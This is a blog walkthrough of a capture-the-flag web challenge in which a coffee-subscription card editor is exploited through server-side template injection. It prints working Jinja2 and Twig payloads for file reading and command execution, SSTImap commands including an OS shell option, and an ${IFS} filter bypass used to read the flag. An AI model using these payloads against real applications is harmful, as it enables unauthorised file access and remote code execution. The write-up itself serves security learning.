Post

Webverselabs Folio Coffee Co Challenge SSTI

Webverselabs Folio Coffee Co Challenge SSTI

Scenario :

Folio Coffee Co is a small direct-trade roaster in Asheville. Their subscription is built around the printed card that ships in each bag — a personalized note with the lot name, ship date, and brew suggestion. The dev who wired up the customer-facing card editor wanted real Twig syntax (``) so subscribers could conditionally tailor their card. The sandbox extension would have blocked the conditionals. He turned it off and shipped.

Solution :

image

Upon visiting the application, we find 3 endpoints :

/Shop : which lists a bunch of machines, with their prices :

image

If we visit any of the products , we see that the GET request doesn’t contain any parameter in the URL.

image

So Nothing useful for us here .

/journal is just a static page :

image

And finally the /about endpoint is also a static page that explains their buisness model.

image

Now let’s create an account to be able to enumerate the application further .

image

Once we login , we see that we are able to create our own shipment card :

1
2
3
4
5
6
7
8
Hi {{ first_name }} —

This month we're sending you {{ roast_name }}.
{% if partner_gift %}With a note from your partner inside.{% endif %}

Ships {{ ship_date }}.

— Folio

This is the initial template we got, now first thing we should do is use this one to see what fields are returned to us; If we click on Preview card :

image

We see that our username is returned back to us, having the brackets inside the code is already a huge indicator that this might be vulnerable to an SSTI , but the fact that the only thing that changes is the username is also an indicator that a Template is being used .

If we check Burp’s History we see that the Preview botton sends a POST Request containing whatever we typed inside the Template Body parameter.

image

Maybe the Template_Body Parameter is vulnerable to an SSTI.

I already have a detailed section on my Web_App methdology for SSTI injections that i will be following :

1
https://elmehdilaassiri.github.io/posts/web-app-pentesting-methodology/#ssti-
1
2
3
4
5
# Detection payload:
${7*7}
{{7*7}}
# Follow this graph to identify the engine:
# https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/

Exploitation : Jinja2

1
2
3
4
5
6
7
8
9
# 1/ Information Disclosure :
{{ config.items() }}


# 2/ LFI :
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}

# 3/ RCE :
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Exploitation : Twig

1
2
3
4
5
6
7
8
# 1/ Information Disclosure :
{{ _self }}

# 2/ LFI :
{{ "/etc/passwd"|file_excerpt(1,-1) }}

# 3/ RCE :
{{ ['id'] | filter('system') }}

Automation :

1
2
3
4
5
6
7
8
git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
python3 sstimap.py
python3 sstimap.py -u http://172.17.0.2/index.php?name=test
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id
python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell

Now first i injected a simple payload 7*7 and based on the response we would know wether or not our code was executed and if we have an SSTI or not , if we get 49 rendered to us this means we got our code executed .

After that based on the Response we get from the server , we would know which Engine is being used . We will follow this diagram from Payload All the Things .

image

Now first let’s inject our payload :

image

I injected it more than once , you don’t need to do that since it is all sent inside the same parameter (template_body).

image

We see that our code was executed , which confirms our SSTI , now we can follow the guide from Payload all things to know which engine is being used .

To save time i will inject the payload for both Jinja and Twig and based on if we get a response i will know which one is used .

First i injected the information disclosure payload for Jinja :

image

After clicking on Preview , we get a template error :

image

So we know it is not Jinja , let’s hope it’s twig :)

image

Now if we preview it :

image

It worked , so Twig is the engine used .

We can try and check if our RCE payload will get executed :

image

If we preview it :

image

Perfect now we can use this to read our flag (If space doesn’t work try ${IFS} to bypass the space filter ) :

1
2
# 3/ RCE :
{{ ['cat${IFS}/flag.txt'] | filter('system') }}

image

And we get our flag .

That was all for this challenge , see you in the next one :)

This post is licensed under CC BY 4.0 by the author.